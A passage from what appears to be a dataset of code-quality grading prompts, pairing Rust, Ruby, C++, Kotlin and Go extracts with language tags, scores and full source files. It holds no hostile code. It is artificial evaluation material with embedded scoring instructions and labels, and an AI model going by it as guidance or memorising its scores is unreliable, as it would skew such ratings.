let mut guard_left = (*self.left_parent_wrapper).borrow_mut();
(*guard_left).forward();
}
{
let mut guard_right = (*self.right_parent_wrapper).borrow_mut();
(*guard_right).forward();
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
rust
| 2 |
use std::cell::RefCell;
use std::rc::Rc;
use super::super::node_function::{CgFunction, CgFunctionWrapper};
use super::super::node_variable::{CgVariableWeakWrapper, CgVariableWrapper};
use ndarray::*;
pub struct CgPlus {
domain_shape: (usize, usize),
codomain_shape: (usize, usize),
left_parent_wrapper: CgVariableWrapper,
right_parent_wrapper: CgVariableWrapper,
child_variable_reference_weak_optional: Option<CgVariableWeakWrapper>,
}
impl CgPlus {
pub fn from_wrapper_to_reference(
left_parent_wrapper: CgVariableWrapper,
right_parent_wrapper: CgVariableWrapper,
) -> Rc<RefCell<Self>> {
let shape_left = (*left_parent_wrapper).borrow().get_shape();
let shape_right = (*right_parent_wrapper).borrow().get_shape();
assert_eq!(shape_left, shape_right);
let domain_shape = shape_left;
let codomain_shape = shape_left;
let child_variable_reference_weak_optional = None;
let data = CgPlus {
domain_shape,
codomain_shape, // `+` returns same shape
left_parent_wrapper,
right_parent_wrapper,
child_variable_reference_weak_optional,
};
let reference = Rc::new(RefCell::new(data));
reference
}
}
impl CgFunction for CgPlus {
fn apply(
left_parent_wrapper: CgVariableWrapper,
right_parent_wrapper: CgVariableWrapper,
) -> CgVariableWrapper {
let reference = Self::from_wrapper_to_reference(left_parent_wrapper, right_parent_wrapper);
let wrapper = CgFunctionWrapper(reference);
let wrapper = CgVariableWrapper::from_function_wrapper(wrapper);
wrapper
}
fn forward(&self) -> Array2<f32> {
{
let mut guard_left = (*self.left_parent_wrapper).borrow_mut();
(*guard_left).forward();
}
{
let mut guard_right = (*self.right_parent_wrapper).borrow_mut();
(*guard_right).forward();
}
let codomain_data = {
let guard_left = (*self.left_parent_wrapper).borrow();
let guard_right = (*self.right_parent_wrapper).borrow();
let left_domain_reference = (*guard_left).get_ref();
let right_domain_reference = (*guard_right).get_ref();
let return_data = left_domain_reference + right_domain_reference;
return_data
};
codomain_data
}
fn backward(&self, grad: &Array2<f32>) {
{
let mut guard_left = (*self.left_parent_wrapper).borrow_mut();
(*guard_left).accumulate_grad(grad);
}
{
let mut guard_right = (*self.right_parent_wrapper).borrow_mut();
(*guard_right).accumulate_grad(grad);
}
{
let guard_left = (*self.left_parent_wrapper).borrow();
(*guard_left).backward(grad);
}
{
let guard_right = (*self.right_parent_wrapper).borrow();
(*guard_right).backward(grad);
}
}
fn set_child(&mut self, child_variable_wrapper: CgVariableWrapper) {
let child_variable_reference_weak = child_variable_wrapper.downgrade();
self.child_variable_reference_weak_optional = Some(child_variable_reference_weak);
}
fn get_left_parent_wrapper(&self) -> CgVariableWrapper {
self.left_parent_wrapper.clone()
}
fn get_right_parent_wrapper(&self) -> CgVariableWrapper {
self.right_parent_wrapper.clone()
}
fn get_domain_shape(&self) -> (usize, usize) {
self.domain_shape
}
fn get_codomain_shape(&self) -> (usize, usize) {
self.codomain_shape
}
}
|
Below is an extract from a Ruby program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Ruby code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Ruby concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., metaprogramming, blocks). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Ruby. It should be similar to a school exercise, a tutorial, or a Ruby course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Ruby. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
class RefactorPnaIndex < ActiveRecord::Migration
def up
remove_index :teryt_pna_codes, :woj
remove_index :teryt_pna_codes, :woj_nazwa
remove_index :teryt_pna_codes, :pow
remove_index :teryt_pna_codes, :pow_nazwa
remove_index :teryt_pna_codes, :gmi
remove_index :teryt_pna_codes, :gmi_nazwa
remove_index :teryt_pna_codes, :sym
remove_index :teryt_pna_codes, :sym_nazwa
remove_index :teryt_pna_codes, :sympod
remove_index :teryt_pna_codes, :sympod_nazwa
remove_index :teryt_pna_codes, :mie_nazwa
remove_index :teryt_pna_codes, :uli_nazwa
remove_index :teryt_pna_codes, :pna
remove_index :teryt_pna_codes, :pna_teryt #, unique: true
remove_index :teryt_pna_codes, [:mie_nazwa, :uli_nazwa, :pna]
add_index :teryt_pna_codes, :woj_nazwa, name: "teryt_pna_codes_woj_nazwa_idx", using: :gin, order: {woj_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :pow_nazwa, name: "teryt_pna_codes_pow_nazwa_idx", using: :gin, order: {pow_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :gmi_nazwa, name: "teryt_pna_codes_gmi_nazwa_idx", using: :gin, order: {gmi_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :mie_nazwa, name: "teryt_pna_codes_mie_nazwa_idx", using: :gin, order: {mie_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :uli_nazwa, name: "teryt_pna_codes_uli_nazwa_idx", using: :gin, order: {uli_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :pna, name: "teryt_pna_codes_pna_idx", using: :gin, order: {pna: :gin_trgm_ops}
# CREATE INDEX customer_names_on_last_name_idx ON customer_names USING GIN(last_name gin_trgm_ops);
# CREATE INDEX index_users_full_name ON users using gin ((first_name || ' ' || last_name) gin_trgm_ops);
# add_index "contacts", ["first_name", "last_name", "name"], name: "contacts_search_idx", using: :gin, order: {first_name: :gin_trgm_ops, last_name: :gin_trgm_ops, name: :gin_trgm_ops}
# add_index :teryt_pna_codes, ["pna", "mie_nazwa", "uli_nazwa", "gmi_nazwa"],
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
ruby
| 2 |
class RefactorPnaIndex < ActiveRecord::Migration
def up
remove_index :teryt_pna_codes, :woj
remove_index :teryt_pna_codes, :woj_nazwa
remove_index :teryt_pna_codes, :pow
remove_index :teryt_pna_codes, :pow_nazwa
remove_index :teryt_pna_codes, :gmi
remove_index :teryt_pna_codes, :gmi_nazwa
remove_index :teryt_pna_codes, :sym
remove_index :teryt_pna_codes, :sym_nazwa
remove_index :teryt_pna_codes, :sympod
remove_index :teryt_pna_codes, :sympod_nazwa
remove_index :teryt_pna_codes, :mie_nazwa
remove_index :teryt_pna_codes, :uli_nazwa
remove_index :teryt_pna_codes, :pna
remove_index :teryt_pna_codes, :pna_teryt #, unique: true
remove_index :teryt_pna_codes, [:mie_nazwa, :uli_nazwa, :pna]
add_index :teryt_pna_codes, :woj_nazwa, name: "teryt_pna_codes_woj_nazwa_idx", using: :gin, order: {woj_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :pow_nazwa, name: "teryt_pna_codes_pow_nazwa_idx", using: :gin, order: {pow_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :gmi_nazwa, name: "teryt_pna_codes_gmi_nazwa_idx", using: :gin, order: {gmi_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :mie_nazwa, name: "teryt_pna_codes_mie_nazwa_idx", using: :gin, order: {mie_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :uli_nazwa, name: "teryt_pna_codes_uli_nazwa_idx", using: :gin, order: {uli_nazwa: :gin_trgm_ops}
add_index :teryt_pna_codes, :pna, name: "teryt_pna_codes_pna_idx", using: :gin, order: {pna: :gin_trgm_ops}
# CREATE INDEX customer_names_on_last_name_idx ON customer_names USING GIN(last_name gin_trgm_ops);
# CREATE INDEX index_users_full_name ON users using gin ((first_name || ' ' || last_name) gin_trgm_ops);
# add_index "contacts", ["first_name", "last_name", "name"], name: "contacts_search_idx", using: :gin, order: {first_name: :gin_trgm_ops, last_name: :gin_trgm_ops, name: :gin_trgm_ops}
# add_index :teryt_pna_codes, ["pna", "mie_nazwa", "uli_nazwa", "gmi_nazwa"], name: "teryt_pna_codes_idx",
# using: :gin, order: {pna: :gin_trgm_ops, mie_nazwa: :gin_trgm_ops, uli_nazwa: :gin_trgm_ops, gmi_nazwa: :gin_trgm_ops}
# add_index :teryt_pna_codes, [:mie_nazwa, :uli_nazwa, :woj_nazwa, :pow_nazwa, :gmi_nazwa, :pna], name: "teryt_pna_codes_idx",
# using: :gin, order: {mie_nazwa: :gin_trgm_ops, uli_nazwa: :gin_trgm_ops, woj_nazwa: :gin_trgm_ops, pow_nazwa: :gin_trgm_ops, gmi_nazwa: :gin_trgm_ops, pna: :gin_trgm_ops}
# add_index :teryt_pna_codes, [:mie_nazwa, :uli_nazwa, :woj_nazwa, :pow_nazwa, :gmi_nazwa, :pna], name: "teryt_pna_codes_idx",
# using: :gin, order: {mie_nazwa: :gin_trgm_ops, uli_nazwa: :gin_trgm_ops, woj_nazwa: :gin_trgm_ops, pow_nazwa: :gin_trgm_ops, gmi_nazwa: :gin_trgm_ops, pna: :gin_trgm_ops}
# Rails 5.2+ use opclass
#add_index :contacts, [:first_name, :last_name, :name], name: "contacts_search_idx", using: :gin, opclass: { first_name: :gin_trgm_ops, last_name: :gin_trgm_ops, name: :gin_trgm_ops }
# execute <<-SQL
# CREATE INDEX teryt_pna_codes_idx ON teryt_pna_codes using gin ((pna || ' ' || mie_nazwa || ' ' || uli_nazwa || ' ' || gmi_nazwa) gin_trgm_ops);
# SQL
end
def down
# remove_index :teryt_pna_codes, :woj_nazwa
# remove_index :teryt_pna_codes, :pow_nazwa
# remove_index :teryt_pna_codes, :gmi_nazwa
# remove_index :teryt_pna_codes, :mie_nazwa
# remove_index :teryt_pna_codes, :uli_nazwa
# remove_index :teryt_pna_codes, :pna
remove_index :teryt_pna_codes, name: "teryt_pna_codes_woj_nazwa_idx"
remove_index :teryt_pna_codes, name: "teryt_pna_codes_pow_nazwa_idx"
remove_index :teryt_pna_codes, name: "teryt_pna_codes_gmi_nazwa_idx"
remove_index :teryt_pna_codes, name: "teryt_pna_codes_mie_nazwa_idx"
remove_index :teryt_pna_codes, name: "teryt_pna_codes_uli_nazwa_idx"
remove_index :teryt_pna_codes, name: "teryt_pna_codes_pna_idx"
add_index :teryt_pna_codes, :woj
add_index :teryt_pna_codes, :woj_nazwa
add_index :teryt_pna_codes, :pow
add_index :teryt_pna_codes, :pow_nazwa
add_index :teryt_pna_codes, :gmi
add_index :teryt_pna_codes, :gmi_nazwa
add_index :teryt_pna_codes, :sym
add_index :teryt_pna_codes, :sym_nazwa
add_index :teryt_pna_codes, :sympod
add_index :teryt_pna_codes, :sympod_nazwa
add_index :teryt_pna_codes, :mie_nazwa
add_index :teryt_pna_codes, :uli_nazwa
add_index :teryt_pna_codes, :pna
add_index :teryt_pna_codes, :pna_teryt #, unique: true
add_index :teryt_pna_codes, [:mie_nazwa, :uli_nazwa, :pna]
end
end
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
/*
* StringList.h
*
* Created on: 11 февр. 2015 г.
* Author: supremist
*/
#ifndef STRINGLIST_H_
#define STRINGLIST_H_
#include <string.h>
#include <stdio.h>
#include <iostream>
struct ListNode{
char *str;
ListNode* next;
ListNode* prev;
public:
ListNode (const char *nstr){
int len=strlen (nstr);
str = new char [len];
memcpy(str, nstr, len);
prev=nullptr;
next=nullptr;
}
~ListNode (){
delete [] str;
}
};
typedef ListNode* POSITION;
class StringList{
public:
//Constructs an empty list for ListNode objects.
StringList();
~StringList();
//Head/Tail Access
POSITION GetHead() const;//Returns the head element of the list
POSITION GetTail() const;//Returns the tail element of the list
//Operations
//Adds an element to the head of the list (makes a new head).
void AddHead(const char *nstr);
//Adds all the elements in another list to the head of the list (makes a new head).
void AddHead(const StringList *nlst);
//Adds an element to the tail of the list (makes a new tail).
void AddTail(const char *nstr);
//Adds all the elements in another list to the tail of the list (makes a new tail).
void AddTail(const StringList *nlst);
//Removes all the elements from this list.
void RemoveAll();
//Removes the element from the head of the list.
void RemoveHead();
//Removes the element from the tail of the list.
void RemoveTail();
void AppendExclusively(const StringList *sl);
void Splice(POSITION where, StringList *sl, POSITION first, POSITION last);
//removes all duplicate elements
void Unique();
//Iteration
//Gets the next element for iterating.
POSITION GetNext();
//Gets the previous element for iterating.
POSITION GetPrev();
//Retrieval/Modification
POSITION GetHeadPosition();
//Gets the element at a given position.
const char* GetAt(int indx)const;
//Removes an element from this list as specified by position.
void RemoveAt(int indx);
//Sets the element at a given position.
void SetAt(char *text
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 3 |
/*
* StringList.h
*
* Created on: 11 февр. 2015 г.
* Author: supremist
*/
#ifndef STRINGLIST_H_
#define STRINGLIST_H_
#include <string.h>
#include <stdio.h>
#include <iostream>
struct ListNode{
char *str;
ListNode* next;
ListNode* prev;
public:
ListNode (const char *nstr){
int len=strlen (nstr);
str = new char [len];
memcpy(str, nstr, len);
prev=nullptr;
next=nullptr;
}
~ListNode (){
delete [] str;
}
};
typedef ListNode* POSITION;
class StringList{
public:
//Constructs an empty list for ListNode objects.
StringList();
~StringList();
//Head/Tail Access
POSITION GetHead() const;//Returns the head element of the list
POSITION GetTail() const;//Returns the tail element of the list
//Operations
//Adds an element to the head of the list (makes a new head).
void AddHead(const char *nstr);
//Adds all the elements in another list to the head of the list (makes a new head).
void AddHead(const StringList *nlst);
//Adds an element to the tail of the list (makes a new tail).
void AddTail(const char *nstr);
//Adds all the elements in another list to the tail of the list (makes a new tail).
void AddTail(const StringList *nlst);
//Removes all the elements from this list.
void RemoveAll();
//Removes the element from the head of the list.
void RemoveHead();
//Removes the element from the tail of the list.
void RemoveTail();
void AppendExclusively(const StringList *sl);
void Splice(POSITION where, StringList *sl, POSITION first, POSITION last);
//removes all duplicate elements
void Unique();
//Iteration
//Gets the next element for iterating.
POSITION GetNext();
//Gets the previous element for iterating.
POSITION GetPrev();
//Retrieval/Modification
POSITION GetHeadPosition();
//Gets the element at a given position.
const char* GetAt(int indx)const;
//Removes an element from this list as specified by position.
void RemoveAt(int indx);
//Sets the element at a given position.
void SetAt(char *text , int indx);
//Insertion
//Inserts a new element after a given position.
void InsertAfter(char *text, int indx);
//Inserts a new element before a given position.
void InsertBefore(char *text, int indx);
//Inserts a new element after a given position.
void InsertAfter(POSITION where,const char * elem);
//Inserts a new element before a given position.
void InsertBefore(POSITION where,const char * elem);
void Remove (POSITION where);
//Searching
//Gets the position of an element specified by string value.
POSITION Find(const char *text)const;
POSITION Find(int indx)const;
//Gets the position of an element specified by a zero-based index.
int FindIndex(char *text)const;
//Status
//Returns the number of elements in this list.
int Getsize()const;
//Tests for the empty list condition (no elements).
bool IsEmpty()const;
void Printnode( POSITION p);
private:
ListNode *iterator;
ListNode *head;
ListNode *tail;
};
#endif /* STRINGLIST_H_ */
|
Below is an extract from a Rust program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Rust code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Rust concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., ownership, lifetimes). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Rust. It should be similar to a school exercise, a tutorial, or a Rust course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Rust. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
mod vertex_position;
mod vertex_position_color;
mod vertex_position_normal;
mod vertex_position_normal_texture;
use std::mem;
use gl;
use gl::types::*;
pub use self::vertex_position::VertexPosition;
pub use self::vertex_position_color::VertexPositionColor;
pub use self::vertex_position_normal::VertexPositionNormal;
pub use self::vertex_position_normal_texture::VertexPositionNormalTexture;
/// Simple handle for the vertex buffer object.
pub struct VboHandle(pub GLuint);
/// Simple handle for the vertex array object.
pub struct VaoHandle(pub GLuint);
// ****************
// * Vertex trait *
// ****************
/// Trait defines a type as a vertex type, provides a funciton which will create a VaoHandle for a given
/// vbo pair. Note: The layout of the shader must be as the vertex format expects!
pub trait Vertex {
fn gen_vao(vbo: &VboHandle) -> VaoHandle;
}
// **********************
// * Vertex Array trait *
// **********************
/// Trait defines a container of vertices, allows the implementation of the `to_vbo` function which
/// consumes the container and produces a VboHandle.
pub trait VertexArray<T: Vertex> {
/// Consume the container - turning it into a GL vbo
fn to_vbo(self) -> VboHandle;
fn len(&self) -> usize;
}
impl<T: Vertex> VertexArray<T> for Vec<T> {
fn to_vbo(self) -> VboHandle {
let mut vbo = 0;
unsafe {
gl::GenBuffers(1, &mut vbo);
gl::BindBuffer(gl::ARRAY_BUFFER, vbo);
gl::BufferData(gl::ARRAY_BUFFER,
(self.len() * mem::size_of::<T>()) as GLsizeiptr,
mem::transmute(&self[0]),
gl::STATIC_DRAW);
}
VboHandle(vbo)
}
fn len(&self) -> usize {
self.len()
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
rust
| 4 |
mod vertex_position;
mod vertex_position_color;
mod vertex_position_normal;
mod vertex_position_normal_texture;
use std::mem;
use gl;
use gl::types::*;
pub use self::vertex_position::VertexPosition;
pub use self::vertex_position_color::VertexPositionColor;
pub use self::vertex_position_normal::VertexPositionNormal;
pub use self::vertex_position_normal_texture::VertexPositionNormalTexture;
/// Simple handle for the vertex buffer object.
pub struct VboHandle(pub GLuint);
/// Simple handle for the vertex array object.
pub struct VaoHandle(pub GLuint);
// ****************
// * Vertex trait *
// ****************
/// Trait defines a type as a vertex type, provides a funciton which will create a VaoHandle for a given
/// vbo pair. Note: The layout of the shader must be as the vertex format expects!
pub trait Vertex {
fn gen_vao(vbo: &VboHandle) -> VaoHandle;
}
// **********************
// * Vertex Array trait *
// **********************
/// Trait defines a container of vertices, allows the implementation of the `to_vbo` function which
/// consumes the container and produces a VboHandle.
pub trait VertexArray<T: Vertex> {
/// Consume the container - turning it into a GL vbo
fn to_vbo(self) -> VboHandle;
fn len(&self) -> usize;
}
impl<T: Vertex> VertexArray<T> for Vec<T> {
fn to_vbo(self) -> VboHandle {
let mut vbo = 0;
unsafe {
gl::GenBuffers(1, &mut vbo);
gl::BindBuffer(gl::ARRAY_BUFFER, vbo);
gl::BufferData(gl::ARRAY_BUFFER,
(self.len() * mem::size_of::<T>()) as GLsizeiptr,
mem::transmute(&self[0]),
gl::STATIC_DRAW);
}
VboHandle(vbo)
}
fn len(&self) -> usize {
self.len()
}
}
|
Below is an extract from a Kotlin program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Kotlin code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Kotlin concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., coroutines, extension functions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Kotlin. It should be similar to a school exercise, a tutorial, or a Kotlin course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Kotlin. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package com.example.crudapp.Database
import androidx.room.*
@Dao
interface HelmDao {
@Insert
suspend fun addHelm(helm: Helm)
@Update
suspend fun updateHelm(helm: Helm)
@Delete
suspend fun deleteHelm(helm: Helm)
@Query("SELECT * FROM helm")
suspend fun getAllHelm(): List<Helm>
@Query("SELECT * FROM helm WHERE id=:helm_id")
suspend fun getHelm(helm_id: Int) : List<Helm>
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
kotlin
| 2 |
package com.example.crudapp.Database
import androidx.room.*
@Dao
interface HelmDao {
@Insert
suspend fun addHelm(helm: Helm)
@Update
suspend fun updateHelm(helm: Helm)
@Delete
suspend fun deleteHelm(helm: Helm)
@Query("SELECT * FROM helm")
suspend fun getAllHelm(): List<Helm>
@Query("SELECT * FROM helm WHERE id=:helm_id")
suspend fun getHelm(helm_id: Int) : List<Helm>
}
|
Below is an extract from a Go program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Go code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Go concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., goroutines, interfaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Go. It should be similar to a school exercise, a tutorial, or a Go course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Go. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package trialtbl
import (
"fmt"
"testing"
)
// TestSumOper is a test interface to suite test a struct.
type TestSumOper interface {
Sum(int, int) int
LastResultAsString() string
}
// TestSumOper is a test structure to suite test a struct.
type TestSumOp struct {
lastResultAsString string
}
// Sum is a test method to suite test a struct.
func (s *TestSumOp) Sum(a, b int) (x int) {
x = a + b
s.lastResultAsString = fmt.Sprintf("%v", x)
return
}
// LastResultAsString is a test method to suite test a struct.
func (s *TestSumOp) LastResultAsString() (r string) {
r = s.lastResultAsString
return
}
// Test if a suite can run a set of experiments.
func TestSuiteTest(t *testing.T) {
// Define choosen trials, expected result and factors used.
NewSuite(
NewExperiment(
NewTrial(true, 1, 2, 3),
NewTrial("3"),
),
NewExperiment(
NewTrial(true, 2, 3, 5),
NewTrial("5"),
),
NewExperiment(
NewTrial(true, -3, 2, -1),
NewTrial("-1"),
),
NewExperiment(
NewTrial(true, 2, 0, 2),
NewTrial("2"),
),
).Test(t, func(e *Experiment){
// Execute Experiments using the same function.
var s TestSumOp
// Verify Sum return value.
e.RegisterResult(0, func(f ...interface{}) (r *Result) {
val := s.Sum(f[0].(int), f[1].(int)) == f[2].(int)
sig := "s.Sum(%v, %v) == %v"
r = NewResult(val, sig)
return
})
// Verify Sum string format.
e.RegisterResult(1, func(f ...interface{}) (r *Result) {
val := s.LastResultAsString()
sig := "s.LastResultAsString()"
r = NewResult(val, sig)
return
})
})
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
go
| 3 |
package trialtbl
import (
"fmt"
"testing"
)
// TestSumOper is a test interface to suite test a struct.
type TestSumOper interface {
Sum(int, int) int
LastResultAsString() string
}
// TestSumOper is a test structure to suite test a struct.
type TestSumOp struct {
lastResultAsString string
}
// Sum is a test method to suite test a struct.
func (s *TestSumOp) Sum(a, b int) (x int) {
x = a + b
s.lastResultAsString = fmt.Sprintf("%v", x)
return
}
// LastResultAsString is a test method to suite test a struct.
func (s *TestSumOp) LastResultAsString() (r string) {
r = s.lastResultAsString
return
}
// Test if a suite can run a set of experiments.
func TestSuiteTest(t *testing.T) {
// Define choosen trials, expected result and factors used.
NewSuite(
NewExperiment(
NewTrial(true, 1, 2, 3),
NewTrial("3"),
),
NewExperiment(
NewTrial(true, 2, 3, 5),
NewTrial("5"),
),
NewExperiment(
NewTrial(true, -3, 2, -1),
NewTrial("-1"),
),
NewExperiment(
NewTrial(true, 2, 0, 2),
NewTrial("2"),
),
).Test(t, func(e *Experiment){
// Execute Experiments using the same function.
var s TestSumOp
// Verify Sum return value.
e.RegisterResult(0, func(f ...interface{}) (r *Result) {
val := s.Sum(f[0].(int), f[1].(int)) == f[2].(int)
sig := "s.Sum(%v, %v) == %v"
r = NewResult(val, sig)
return
})
// Verify Sum string format.
e.RegisterResult(1, func(f ...interface{}) (r *Result) {
val := s.LastResultAsString()
sig := "s.LastResultAsString()"
r = NewResult(val, sig)
return
})
})
}
|
Below is an extract from a Go program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Go code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Go concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., goroutines, interfaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Go. It should be similar to a school exercise, a tutorial, or a Go course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Go. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package exec
import (
"errors"
"os"
"os/exec"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestFakeCommandOutput(t *testing.T) {
restore := FakeCommandOutput(func(cmd Cmd) ([]byte, error) {
switch {
case cmd.Matches("foo", "--bar", "baz"):
return []byte(`foo`), nil
case cmd.Matches("foo", "--error"):
return nil, errors.New("some error")
case cmd.Name == "bar":
return []byte(`bar`), nil
default:
return nil, &ExitError{
ProcessState: &FakeProcessState{
ExitStatus: 42,
},
}
}
})
defer restore()
output, err := CommandOutput("foo", "--bar", "baz")
require.NoError(t, err)
assert.Equal(t, "foo", string(output))
_, err = CommandOutput("foo", "--error")
require.Error(t, err)
exitError, ok := err.(*ExitError)
require.True(t, ok)
assert.Equal(t, 1, exitError.ExitCode())
assert.Equal(t, "some error", exitError.Error())
output, err = CommandOutput("bar")
require.NoError(t, err)
assert.Equal(t, "bar", string(output))
_, err = CommandOutput("foo", "--somearg")
require.Error(t, err)
exitError, ok = err.(*ExitError)
require.True(t, ok)
assert.Equal(t, 42, exitError.ExitCode())
assert.Equal(t, "exit status 42", exitError.Error())
}
func TestFakeCommandRun(t *testing.T) {
restore := FakeCommandRun(func(cmd Cmd) error {
switch {
case cmd.Matches("foo", "--bar", "baz"):
return nil
case cmd.Matches("foo", "--error"):
return errors.New("some error")
default:
return &ExitError{
ProcessState: &FakeProcessState{
ExitStatus: 42,
},
}
}
})
defer restore()
err := CommandRun("foo", "--bar", "baz")
require.NoError(t, err)
err = CommandRun("foo", "--error")
require.Error(t, err)
exitError, ok := err.(*ExitError)
require.True(t, ok)
assert.Equal(t, 1, exitError.ExitCode())
assert.Equal(t, "some error", exitError.Error())
err = CommandRun("someothercommand")
require.Error(t, err)
exitError, ok = err.(*ExitError)
require.Tru
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
go
| 4 |
package exec
import (
"errors"
"os"
"os/exec"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestFakeCommandOutput(t *testing.T) {
restore := FakeCommandOutput(func(cmd Cmd) ([]byte, error) {
switch {
case cmd.Matches("foo", "--bar", "baz"):
return []byte(`foo`), nil
case cmd.Matches("foo", "--error"):
return nil, errors.New("some error")
case cmd.Name == "bar":
return []byte(`bar`), nil
default:
return nil, &ExitError{
ProcessState: &FakeProcessState{
ExitStatus: 42,
},
}
}
})
defer restore()
output, err := CommandOutput("foo", "--bar", "baz")
require.NoError(t, err)
assert.Equal(t, "foo", string(output))
_, err = CommandOutput("foo", "--error")
require.Error(t, err)
exitError, ok := err.(*ExitError)
require.True(t, ok)
assert.Equal(t, 1, exitError.ExitCode())
assert.Equal(t, "some error", exitError.Error())
output, err = CommandOutput("bar")
require.NoError(t, err)
assert.Equal(t, "bar", string(output))
_, err = CommandOutput("foo", "--somearg")
require.Error(t, err)
exitError, ok = err.(*ExitError)
require.True(t, ok)
assert.Equal(t, 42, exitError.ExitCode())
assert.Equal(t, "exit status 42", exitError.Error())
}
func TestFakeCommandRun(t *testing.T) {
restore := FakeCommandRun(func(cmd Cmd) error {
switch {
case cmd.Matches("foo", "--bar", "baz"):
return nil
case cmd.Matches("foo", "--error"):
return errors.New("some error")
default:
return &ExitError{
ProcessState: &FakeProcessState{
ExitStatus: 42,
},
}
}
})
defer restore()
err := CommandRun("foo", "--bar", "baz")
require.NoError(t, err)
err = CommandRun("foo", "--error")
require.Error(t, err)
exitError, ok := err.(*ExitError)
require.True(t, ok)
assert.Equal(t, 1, exitError.ExitCode())
assert.Equal(t, "some error", exitError.Error())
err = CommandRun("someothercommand")
require.Error(t, err)
exitError, ok = err.(*ExitError)
require.True(t, ok)
assert.Equal(t, 42, exitError.ExitCode())
assert.Equal(t, "exit status 42", exitError.Error())
}
func TestConvertExitError(t *testing.T) {
assert.Nil(t, convertExitError(nil))
assert.Equal(t, errors.New("foo"), convertExitError(errors.New("foo")))
exitError := &exec.ExitError{
ProcessState: &os.ProcessState{},
Stderr: []byte(`error`),
}
expectedError := &ExitError{
ProcessState: exitError.ProcessState,
Stderr: []byte(`error`),
}
assert.Equal(t, expectedError, convertExitError(exitError))
}
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
